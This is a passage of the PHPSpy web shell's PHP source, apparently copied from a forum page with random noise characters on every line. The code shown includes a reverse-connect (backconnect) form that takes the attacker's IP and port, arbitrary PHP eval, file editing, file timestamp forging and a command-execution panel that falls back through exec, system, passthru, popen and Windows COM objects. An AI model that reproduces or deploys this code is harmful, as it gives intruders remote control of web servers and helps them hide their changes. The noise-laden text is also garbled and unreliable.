* U$ n; N) @: f# g' P - makehide('action','backconnect');
4 s z; b# ?: B4 m$ R# f - p('<p>');& w7 H. H7 }1 ~! j+ B
- p('Your IP:');# o0 c6 Z! k5 {; u3 h* ?
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
7 e# I2 ~' {, | - p('Your Port:');) z( o9 N6 l% e: D$ f7 |! T, i
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));1 q, [ l$ k4 i7 U1 e
- p('Use:');. t5 }) ^* [ N, b5 `
- makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
0 r% p( X' v+ b4 o. j6 e$ ` - makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
- J- m# v! `. u - p('</p>');
/ x5 A1 ?( w; `7 G - formfoot();
% V- ^( l' r2 _3 M$ E: | - }//end sql backup
' I6 O r) f) l+ d! b - elseif ($action == 'eval') {. S! ?& ?. x! T, U
- $phpcode = trim($phpcode);
8 f; j: V) v6 f - if($phpcode){% u B: P: Y2 e8 T, v3 t, Y/ m
- if (!preg_match('#<\?#si', $phpcode)) {2 h# _2 \6 ?0 ?( P$ `$ y7 P
- $phpcode = "<?php\n\n{$phpcode}\n\n?>";4 {2 m: T9 O! h9 K% @" u: n2 m" G! P
- }. L: R; K" V/ K' `
- eval("?".">$phpcode<?");
; |* \- P. y5 l# }" W7 O4 [ - }
" |# Z( B) V4 n - formhead(array('title'=>'Eval PHP Code'));0 @2 `3 q; G8 W' O
- makehide('action','eval');' u0 B' b; a7 p: |
- maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
9 q( |, }1 k+ A - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');# c7 e0 z' B, h. i7 G ^
- formfooter();
; S9 G* ?9 l1 n: L - }//end eval
) ]; `0 b4 L3 d* R1 r - , O4 C3 Q$ v2 Y! t% D5 a, O
- elseif ($action == 'editfile') {# t9 [+ I5 v1 ]9 n6 U) Q" h
- if(file_exists($opfile)) {
- S" W9 D' a4 T1 e - $fp=@fopen($opfile,'r');: T5 H! V: I3 |* H0 l0 Z
- $contents=@fread($fp, filesize($opfile));1 K/ K; }/ i8 \5 S
- @fclose($fp);
- a2 O+ F Y3 p4 p# _ - $contents=htmlspecialchars($contents);
7 {0 ~* M5 \& `/ O' {9 @9 U - }; s3 D6 D5 ]1 z, s
- formhead(array('title'=>'Create / Edit File'));
( [$ w! i$ `7 @9 }. a2 L. r - makehide('action','file');
1 P l- `; Z* C. h* x' B' W - makehide('dir',$nowpath);
6 W, [0 A2 \' x/ u1 [ - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
4 y+ z$ {% i) O) F( S& n% v - maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));8 v# O- H7 F& i% n0 O0 k2 V! o
- formfooter();
/ g) K& F1 W. V; O. M- A" {! f8 E - }//end editfile
9 u" L; U* z' \ - 4 b! {$ c) X: f2 r, N
- elseif ($action == 'newtime') {
8 u* w* {8 [2 R% w4 ~% E M - $opfilemtime = @filemtime($opfile);! U0 Q+ H2 b7 e8 P/ t# y1 W3 Y0 L0 T
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");
+ E: k. E$ v0 P - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
3 J* V% ^, p2 N7 g8 p/ A - formhead(array('title'=>'Clone file was last modified time'));! E; Y2 o k4 [+ B2 i
- makehide('action','file');6 `* {( J+ F; \* N0 e% R
- makehide('dir',$nowpath);+ L1 l3 B* I* @
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
' ^- K' ~9 l# r% o& D/ | - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));0 V9 X* w3 X' p6 e4 Y
- formfooter();
1 x, L6 m$ }- @: y5 F - formhead(array('title'=>'Set last modified'));7 i2 K" a( A: B. ~9 L( F# v; k
- makehide('action','file');4 O0 `9 y- X6 L" S1 u
- makehide('dir',$nowpath);
* O4 _1 j( A$ f9 a - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));1 d( W# h3 m0 T) e. b4 n" S) W! Q
- p('<p>Instead »');+ |3 q6 Q* n: E" v/ w" [
- p('year:');+ X0 U, y: N" h/ S9 ?) x
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));! f% O: R& M( f& _! s. W/ k
- p('month:');
9 N: g# n& z; E5 q5 } - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
8 w# l0 C7 ?& _, ]9 W7 A7 E: Z2 j - p('day:');( A4 L* C' \. ?& N
- makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
; |0 |7 Q+ E" L) j. b1 [ - p('hour:');0 K! Q; a! l- G! i+ j0 s/ J
- makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));% ^9 c1 H- B" [( E
- p('minute:');. Y8 V$ |) a+ {4 x0 O4 F
- makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));4 G" U) M; \4 [; n' y( ~5 U2 W
- p('second:');
2 r( P) n5 x' d1 r - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));8 _- V- D( l: B1 Q1 u
- p('</p>');
8 L) L6 M% T0 u - formfooter();
+ y9 \+ Y) x( ]" K - }//end newtime
/ l# C" z) x3 o1 ?2 p6 h - 6 }% l# c1 D0 _: [
- elseif ($action == 'shell') {
& Z3 @6 u% A- D' U - if (IS_WIN && IS_COM) {. N2 O& ^$ S+ P. x9 a# Z
- if($program && $parameter) {
2 O& g. x6 ]; {- X# h9 K - $shell= new COM('Shell.Application');
2 [; t9 P i6 z. H i2 b' n- B - $a = $shell->ShellExecute($program,$parameter);9 F( N' M2 p) O- v/ O! d
- m('Program run has '.(!$a ? 'success' : 'fail'));3 o3 H S6 y9 K6 P6 l7 h
- }; \$ a9 R# y* t9 I( o( G2 d d8 f
- !$program && $program = 'c:\windows\system32\cmd.exe';
% K! y- A* b. Q: Z7 a0 w, @& Y T - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
' B7 G7 g) z0 J ]% y: `" U" Y0 N - formhead(array('title'=>'Execute Program'));
! Z' e; [% ]; ]* M4 _, L8 W - makehide('action','shell');) w/ ?/ T1 c+ m3 o. g
- makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));6 p( X5 K0 x- [) |* I9 T! E
- p('<p>');& q2 _7 }, l- }! X' z9 w
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
4 }; x- @- p8 _* [: y7 X8 L" n - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));7 Q4 _, U2 J* @( d- o' R6 g
- p('</p>');
4 Q5 p% p5 ]; V8 T - formfoot();
, ^5 E* `% {9 z* n- \' o - }
. V5 r! ]% d: I - formhead(array('title'=>'Execute Command'));* J5 q. c$ M8 N) l: z. s1 A e
- makehide('action','shell');0 E& O' H- E& t
- if (IS_WIN && IS_COM) {
* U6 r) r% \ T& p" E, A+ Y3 { - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');, T* h6 t Q7 K6 L+ U, l
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));& s2 Z6 t$ ~ K" d
- }
3 W% u" S' m, p! R2 q - p('<p>');
{7 ~8 g& N+ g; b, H' M - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
% ^4 A1 r5 {# B) Y% y - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
- Y1 J3 ]! c. n! Z+ i( u# p9 d - p('</p>');$ x2 G( O3 a' _
- formfoot();
) e& O9 Q5 [; H - " u* o) g. |5 x) F1 n6 D) d* c5 M: M
- if ($command) {9 A8 X$ j8 g" d( O6 q7 c- Q
- p('<hr width="100%" noshade /><pre>');% O: [% e7 Z- i: h' k
- if ($execfunc=='wscript' && IS_WIN && IS_COM) {# n6 j- n5 N4 C% U+ H$ L
- $wsh = new COM('WScript.shell');
* v4 {9 [0 O& f F - $exec = $wsh->exec('cmd.exe /c '.$command);
/ }( M" V# p* c0 T! g# A' s$ g3 e- y - $stdout = $exec->StdOut();7 d9 y$ _; w- r( U
- $stroutput = $stdout->ReadAll();
* m M; ~4 `1 G; _' r - echo $stroutput;
+ c" d+ e$ n2 Y6 w - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {& G) j2 D" a+ j/ \9 X' _7 _- S
- $descriptorspec = array(
- ?8 K) U0 R1 ~- n { L - 0 => array('pipe', 'r'),
" y+ B4 L- A" o# m/ u: n - 1 => array('pipe', 'w'),
8 ^9 t' K, D/ f0 I1 e - 2 => array('pipe', 'w')
6 z8 S* u! E$ l3 d L, l - );
/ g; {: c ~1 k0 T - $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
3 z# a3 e( D; [ - if (is_resource($process)) {9 z# |2 e$ E: R/ @8 O3 P3 h: S
- fwrite($pipes[0], $command."\r\n");& Y: Y$ l/ B4 h, i- }4 U
- fwrite($pipes[0], "exit\r\n");: a) A( X& {! t) }9 K/ y
- fclose($pipes[0]);; x5 b9 \& D6 [2 h
- while (!feof($pipes[1])) {# y9 u, W8 V7 N" _. {3 i3 m) f. d
- echo fgets($pipes[1], 1024);, {9 U1 T' S& S8 N$ U4 t+ d9 }
- }2 ?6 d6 @/ q# x$ ?7 ?; u
- fclose($pipes[1]);1 S5 @/ S$ g7 C
- while (!feof($pipes[2])) {
; _/ \7 f6 T! j. V- f - echo fgets($pipes[2], 1024);
5 V2 i* j' S7 ~: Z4 C - }! u( W' t9 W$ J
- fclose($pipes[2]);) t& V9 T7 v# [% i+ }* [
- proc_close($process);
- | @& K9 b+ ~5 W+ t - }
h' {- x2 k) w% d6 s4 o9 ^ - } else {
; T( l# z0 z9 d' T: f/ q' `. I$ Y - echo(execute($command));1 R: x) J. I$ t" T) G- U
- }
. }$ Z! @; e" O - p('</pre>');: T0 Q2 b& X$ `4 p) M
- }
t: O& A; b3 d - }//end shell/ ]+ r- c1 o% t9 c, t( M
-
% _. k. _) ? B - elseif ($action == 'phpenv') {# L+ o" E! H% t. {
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
: H/ \9 ^( C, }+ l: K - $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');5 R5 Q+ c7 q5 ^ L
- !$dis_func && $dis_func = 'No';
7 [$ E' }1 B, y/ q2 ~' X - $info = array(
# Q( C& D, W! D: L - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
+ @) G1 W" n, }6 m8 V# d - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),4 N" j; d& u+ u, G
- 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),% e0 O6 }$ J6 t7 I( a$ k' C
- 4 => array('Server OS',PHP_OS),
8 T/ K8 a, v6 O - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),/ [4 \4 M9 k/ A$ ~
- 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),& B; z" W0 r3 t; c+ r: g6 _+ u- s
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
& l9 T4 d0 S& ` - 8 => array('PHP run mode',strtoupper(php_sapi_name())),; U. B7 Z! w- c! F
- 9 => array('The file path',__FILE__),6 ?% }! U. X" [. ]) e: C
-
& d" i: B! O. C* T# c - 10 => array('PHP Version',PHP_VERSION),' e- X# l( L( f. L
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
& e/ Q. b; M$ ^5 M/ a+ W1 a$ R - 12 => array('Safe Mode',getcfg('safe_mode')),
; h) @' W$ {4 V- g; O3 V+ C - 13 => array('Administrator',$adminmail),* {' I8 `5 b/ N2 z3 D
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
0 B* x, y# [9 h - 15 => array('enable_dl',getcfg('enable_dl')),3 X i' }. R' \6 Q$ k! P
- 16 => array('display_errors',getcfg('display_errors')),
y* `' _+ f% K) g } - 17 => array('register_globals',getcfg('register_globals')),
3 c6 x3 [/ f, B, G9 _ - 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),9 d; J8 H2 L; A0 p7 P. F, X2 ?
- 19 => array('memory_limit',getcfg('memory_limit')),( H' k; ]3 n2 }1 o, P
- 20 => array('post_max_size',getcfg('post_max_size')),
8 y; E; m0 L: E/ ?5 w$ v - 21 => array('upload_max_filesize',$upsize),* h% w3 _; L; W$ w- W
- 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
$ D# O5 Z$ k" N7 M* E& I8 K4 `% w: n7 j# I - 23 => array('disable_functions',$dis_func),* `- [" c, }% H) T
- );' g5 Q1 Y5 B5 B
- 1 Q+ O( e+ C5 g" h. b
- if($phpvarname) {) ]0 p( W n# ~. a
- m($phpvarname .' : '.getcfg($phpvarname));
" q6 D+ g+ B, ~5 ?4 s: h - }
8 D$ E. M/ U+ G$ D- j+ V -
2 U% a' \ B! N' N0 y# d) U O - formhead(array('title'=>'Server environment'));& m/ F4 w4 z, F% u2 ]! W7 ~
- makehide('action','phpenv');2 A0 ?# X2 N4 N0 J$ ~+ ]- f
- makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));8 i/ X1 Q/ \0 ]
- formfooter();
( |+ ?6 S& [" E( |% R - 7 }) V* l" [7 C& Z f
- $hp = array(0=> 'Server', 1=> 'PHP');
- ~0 I8 n. g l4 w - for($a=0;$a<2;$a++) {- i& h+ {$ ^3 _+ e- L
- p('<h2>'.$hp[$a].' »</h2>');- k, H4 s0 C/ E {3 y3 k8 z
- p('<ul class="info">');* [% v/ S) l) z% { ~
- if ($a==0) {
5 x/ W+ u' \6 K) d7 E - for($i=1;$i<=9;$i++) {
1 x4 r$ }9 s; o/ | - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');5 f9 l S r, x1 h0 Y, \
- }
9 X7 A; r( q) \- {2 W+ [ - } elseif ($a == 1) {
) G' B& ~5 R- E/ E) ~ - for($i=10;$i<=23;$i++) { b6 y( N$ s5 i, r4 Q( v
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
* B* f T K n: _. V* K8 l& T: q - }
6 A2 z5 S/ D% s% t V - }
7 y+ l! l) @& A* a% ]3 k& Z - p('</ul>');
: X( q0 Z7 @" O4 Y, p7 D - }
3 [! F* q/ W$ z# X- D+ q' Z. r - }//end phpenv' B* B% b5 \* i0 _7 b
- 9 Q, g+ d/ \( @' z
- else {& s! V# M+ Z5 {' z: r9 r
- m('Undefined Action');/ `- h" T' m( c( }' S" o' o
- }1 b$ r* _. W- b% `0 A
- + W" F: u, X4 t; a1 j4 {# H
- ?>/ l' f D1 a$ w" `" v
- </td></tr></table>
3 C- ?: h! W1 s7 [& r6 ] - <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
# {" f! [# `6 F* o, |+ v - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span> n U3 u E3 X( }4 [% H
- Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
* w2 w1 U! m+ O6 c* l& M; p - </div>
- l3 P! C+ x, j4 q' c$ g - </body>
/ h& H, Z" I* ?& l; W. I& h - </html>
' z6 N+ m' f' _) R$ u# l8 K. |+ h -
- f/ Z: {' c' B - <?php, c$ j3 R* S: C
- 8 v/ t- Y( E: Y
- /*======================================================
1 v: ^/ K8 y& V2 F - 函数库 K5 i. W) x* } w" j4 l' ]+ E# b- [
- ======================================================*/) M" j7 j& \. d, z& B5 N9 B8 E* `' b8 K
- . \, U( k7 Y. M0 q7 A0 k
- function m($msg) {
! e3 z: M* |- S9 t- M - echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
- F o- U4 x8 L' z+ y - echo $msg;" n$ `; O3 z# p5 K3 a" f; d
- echo '</div>';5 {7 b6 O: W- @! r
- }0 n7 m$ E; G, G# B( n0 n" l8 L
- function scookie($key, $value, $life = 0, $prefix = 1) {
8 ?, |. i* [( j& q - global $admin, $timestamp, $_SERVER;( Y( @# a5 Y0 p8 C: {% ?/ B
- $key = ($prefix ? $admin['cookiepre'] : '').$key;
8 s# w. @# f- y5 q2 W1 c3 B* L - $life = $life ? $life : $admin['cookielife'];( ]& {1 |: F% ?: z2 E; G: p
- $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
7 Z9 [) u9 V0 _4 ]% a. @* v - setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);5 y# a& F% }5 r6 R4 P6 [
- } , ~) \) m" V- x* r+ h4 v" b
- function multi($num, $perpage, $curpage, $tablename) {% u9 W6 s) b" V; g7 S- |9 U
- $multipage = '';! O: z6 l* O2 }/ e0 g4 ]3 h' W
- if($num > $perpage) {, u* N X9 H5 E7 X$ Z" O
- $page = 10;
5 G- c# r5 n, z; @ - $offset = 5;
" g% ~* U5 L4 Q; S. A$ d - $pages = @ceil($num / $perpage);+ R! l* G- _; @$ g# x
- if($page > $pages) {. n' q* [0 Q1 q# t' h0 F. l
- $from = 1;0 _& y6 d, ^4 ^# H) b4 l
- $to = $pages;# _% R' [7 U- Q
- } else { n3 G& u8 T" ]+ ]4 @
- $from = $curpage - $offset;
- e& v5 s# H+ x+ k7 A5 F - $to = $curpage + $page - $offset - 1;5 Z( G' W% W8 e. s& [) f- U7 S9 |
- if($from < 1) {
; M8 G& f. r& A' I8 K - $to = $curpage + 1 - $from;
- z* r2 H* w2 ^, j3 N' B+ e - $from = 1;
" T$ q6 n- p3 @0 |" U3 Y - if(($to - $from) < $page && ($to - $from) < $pages) {3 z8 B! c3 ?+ B3 q% K
- $to = $page;! q& | p. G) E5 f+ \
- }
+ T1 b* ` k2 K7 E - } elseif($to > $pages) {& S) n; m8 f G
- $from = $curpage - $pages + $to;
) B' B1 A0 ^- M; D" B% P - $to = $pages;
5 Q4 w5 ~0 s) n. w; u8 E# d8 k8 V - if(($to - $from) < $page && ($to - $from) < $pages) {3 U5 Q9 j$ ^: l, x9 H, b' o
- $from = $pages - $page + 1;7 j! i8 r. p' t) z9 W( H
- }
% R% n2 m! _' ~& Q6 H) Q - }4 e6 P- }" b' t
- }
" {. b$ L9 K5 S0 [/ W - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');, X6 R1 O( M1 V6 J- K2 {+ _7 e* z; u: |" F
- for($i = $from; $i <= $to; $i++) {# t8 J2 b; Y4 E6 e. @" o
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';0 s/ B8 o# C1 i& @$ D9 G+ f
- }
3 Y+ y6 O& k" _ - $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');# X6 _+ F! x; j9 |4 M% R1 @- J) a) b
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';/ {) ]6 ~1 c7 E1 c6 \$ y# ^
- }
% F: b& {2 F B U7 k - return $multipage;
3 o) \# h8 H: J! g- ? - }9 g9 b. {* k3 z+ [5 r, t5 F
- // 登陆入口
& i6 T0 U3 \+ \ - function loginpage() {6 r& o% e( b3 H- |, t
- ?>
1 K) `! T( w1 v; Y - <style type="text/css">
% k- B" A- e2 L7 ^ - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}. Z$ U: w2 `5 N* q; w
- </style>. R6 M$ `- j: t- Z8 T7 U
- <form method="POST" action="">
6 [% \# B; r8 i7 a! U - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
+ ~3 [" H+ g- z1 a5 ? - <input type="hidden" name="doing" value="login">
& g0 _8 W- z( U ? - <input type="submit" value="Login">1 Q% C7 Z h# L T
- </form>) c% Y/ [7 |( l
- <?php8 s3 ^% f: |% H$ Q( f( G
- exit;) C- D, B+ D5 |: {- H
- }//end loginpage()2 _ R5 i' K S7 N
-
$ P S. O7 u( Y7 Z8 _3 _ - function execute($cfe) {
. Y9 w" W" @9 F - $res = '';0 _/ J6 s" U, |& F& o* h& A1 c
- if ($cfe) {; r j2 x& r9 m& ^! c1 _" x
- if(function_exists('exec')) {- ~2 W7 b# ` m. S x& j
- @exec($cfe,$res);
3 F1 |4 e# [ W - $res = join("\n",$res);% z! E1 F! G3 }8 w
- } elseif(function_exists('shell_exec')) {
y0 i9 w; e' v - $res = @shell_exec($cfe);
. |5 s4 h. e% c: c& d - } elseif(function_exists('system')) {4 ^2 n% R" V) K/ `4 O) @" O
- @ob_start();( B- b$ t8 s% b
- @system($cfe);0 g' s; q S0 g/ U
- $res = @ob_get_contents();
' Z ~& p3 N( N2 Z; \# ?" p - @ob_end_clean();; e1 d$ o) j4 `8 K* W% W$ a( u& m
- } elseif(function_exists('passthru')) {" T/ S, F* E5 a- L2 Z: B
- @ob_start();
8 q% l8 h# h. s; _7 e - @passthru($cfe);! Y" b- r9 v# B* v1 _$ m
- $res = @ob_get_contents();
, R! u* d# w4 `% C. A - @ob_end_clean();
9 s4 {( T0 V2 U6 P& B' j - } elseif(@is_resource($f = @popen($cfe,"r"))) {
$ Q; f! q# ?# h. b8 x - $res = '';" u$ z" w+ s4 {6 @
- while(!@feof($f)) {
9 I$ L2 d! m, K C - $res .= @fread($f,1024);
9 o1 D2 V* v/ X2 A" z2 @5 j( x - }
& n# e4 R. u5 o - @pclose($f);
$ ?* b) L& l: Z- `- r - }
5 x, Z- c# _/ T$ d$ n - }
" w6 d/ r5 h# o- M& E, A - return $res;
4 ?( q* _6 g+ W- s$ |1 ~ - }
# u5 r8 x6 X& c4 {* r* r: h& p - function which($pr) {
; f' s- O$ g* [5 \$ \ - $path = execute("which $pr");& w3 \: b4 ?7 h3 O, X1 Y/ f
- return ($path ? $path : $pr);
& l1 } p' W) \# y' B - }1 x/ U4 \, E Q- \
- + x P5 G. z2 \+ z5 x1 N
- function cf($fname,$text){8 o$ T$ G0 U- q2 Q7 }! n. W& k3 N- E
- if($fp=@fopen($fname,'w')) {6 B" ~# e+ v6 c5 }( W F' N0 i
- @fputs($fp,@base64_decode($text));- k7 c3 ]; o. y" l# t: r
- @fclose($fp);; S6 b$ L% X6 Z3 k
- }
5 n( d' c) |* ?: W. v1 d - }5 j- U3 |4 U0 p
- 8 _$ u6 p9 E; O' s! @8 |: c
- // 页面调试信息 W* h1 }# i) ~! k+ r
- function debuginfo() {( f; p0 S# l4 Q( R% m, ]/ M" N& C
- global $starttime;4 x2 b: Z i5 t6 @5 A2 }8 e& s
- $mtime = explode(' ', microtime());
u+ t7 V, I! k V - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);( x6 T% \7 u. |' x2 V, D1 n+ R% F
- echo 'Processed in '.$totaltime.' second(s)';
* b/ s9 W i$ @: E# v7 z - }, E* M# Y/ b' w' u
- + ?% d9 N/ z, L; ?# e5 `5 e
- //连接数据库/ _2 C, c# ]& z0 F- n* ~
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {! ` B! [% _- {3 ?* R- l$ D
- if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
5 h8 I" r) Z1 Z( f$ z Y5 W - p('<h2>Can not connect to MySQL server</h2>');
* u% j! ^, k4 H7 z# o; `# I - exit;
0 L w4 E9 _# S$ t9 {' _ - }5 b ~: I) Z/ _+ s5 `. e8 Z6 H
- if($link && $dbname) {
, H: h1 C7 A0 r/ e8 l7 X - if (!@mysql_select_db($dbname, $link)) {% Z) \( Z1 r5 \& M0 Y" |
- p('<h2>Database selected has error</h2>');
& _8 f$ G2 |$ E- v5 i - exit;- N/ N! t0 e2 t. K* B0 j
- } w: h% ~4 @; r7 Y( D9 \) \
- }
# l; M3 @/ }8 N* G) P9 A8 W - if($link && mysql_get_server_info() > '4.1') {
) S6 |! F4 j7 v& e8 W0 N - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
% `; g) U8 Y4 K - q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
: d4 x, B1 w" I# I* @3 s8 @( B - }4 J- Y4 j% s/ o( v
- }& d0 S4 U4 U" _
- return $link;2 B& G& w. L- |, u `
- }" e. ]5 f7 C( N9 o+ j: A
- 4 s. P3 r8 B$ W4 [
- // 去掉转义字符& u- v" I9 V& }; {. i" p: ^) L; z
- function s_array(&$array) {
1 X+ V! g* z3 g | - if (is_array($array)) {
: {1 v: r- [' S! f) J! b - foreach ($array as $k => $v) {
9 q) x0 b3 P, w6 K6 D* s - $array[$k] = s_array($v);
0 F- @# f( ]% T - }
" `( A# c# V: B% ]! ]/ X3 z& r# ^* Y - } else if (is_string($array)) {
- S) c8 ?" V3 ^# x - $array = stripslashes($array);
2 {2 L) a' W( ?1 E - }
% j2 U9 B6 }6 \" O$ ]' Z - return $array;! B/ b& \! o" j* ~8 u" i+ ?
- }
& ?# T ]3 `4 i3 [/ }4 V) N7 f - % [/ X! X8 j- l2 i. j) _! X
- // 清除HTML代码
F/ p5 v; |% X8 v - function html_clean($content) {
! ?0 J) G/ S8 w/ E5 U - $content = htmlspecialchars($content);3 I5 X4 d$ a$ a
- $content = str_replace("\n", "<br />", $content);# o W1 X. ]5 p
- $content = str_replace(" ", " ", $content);
Z# N- r" G9 R2 j; n* B - $content = str_replace("\t", " ", $content);% _2 s$ R8 Q' Y4 n% Q# g$ o
- return $content;9 k9 y. h+ u. e e) x
- }
5 I$ h7 P B3 d( K8 I1 x- I - : F0 e# I' [0 x8 m" h/ }/ b1 X: L
- // 获取权限, q8 I4 J& D: S' |2 b( X ^) Q
- function getChmod($filepath){
0 |* z/ e( E9 i; L2 C+ n - return substr(base_convert(@fileperms($filepath),10,8),-4);
- k, X# f( @1 Z/ y& G+ y! a - }& S9 j3 l! D. ~% d7 }
- + e+ t* ?2 l7 V! r) D
- function getPerms($filepath) {
* U% M4 P, Q9 R9 q - $mode = @fileperms($filepath);* R* D4 Y N; F4 I6 \
- if (($mode & 0xC000) === 0xC000) {$type = 's';}, c& L: M$ o6 e* @: a |0 N
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1 M- \9 w9 U( ^2 S( B - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}+ d+ G0 I3 J' X( c
- elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 3 {/ n; L# o; T' o8 t" h) w5 c
- elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}# e4 v9 F9 ~) I" I6 c
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
% F* A4 U) \7 f" D& t% }( d5 q* { - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
. V+ r% N/ U0 I2 Q0 s% Y3 B - else {$type = '?';}% M5 I+ ^( d S k& y5 s
- 9 z" s3 L: m# F; y% A: r
- $owner['read'] = ($mode & 00400) ? 'r' : '-'; . ~- i/ V& g, L, R
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
" W& w2 J. B& _1 Z6 x - $owner['execute'] = ($mode & 00100) ? 'x' : '-'; 1 e9 a& p# O0 _. b) [& N% O, W
- $group['read'] = ($mode & 00040) ? 'r' : '-';
9 [+ t; S- [+ H1 G, z% ] - $group['write'] = ($mode & 00020) ? 'w' : '-'; ; i8 E8 m, `( k Q0 M. z" \
- $group['execute'] = ($mode & 00010) ? 'x' : '-';
1 i: d- i3 X( y: {7 w3 {) ]. L X - $world['read'] = ($mode & 00004) ? 'r' : '-';
# w9 D9 Z# p+ G* b# i - $world['write'] = ($mode & 00002) ? 'w' : '-'; % N; x+ O6 E4 W" J" S* N8 k
- $world['execute'] = ($mode & 00001) ? 'x' : '-'; - i& C5 S" s7 Y% u1 c
-
0 c" b8 [3 S- \; n, O* o/ _: S1 _/ i- t - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
( Q. z+ U9 {7 ], `7 g - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}0 o) u) {* L$ |2 e( c l* N- B5 d
- if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
0 E! `; U" U; c' u - $ V7 Y2 U" s" S. V/ u o2 w
- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
+ m' Q" E; P$ @$ y! q, s - }$ h0 P2 l' y! Z9 o, ]! N8 v
- # X1 ~" X+ d% d" v
- function getUser($filepath) {/ b6 Y6 W8 }2 v9 N S; z
- if (function_exists('posix_getpwuid')) {
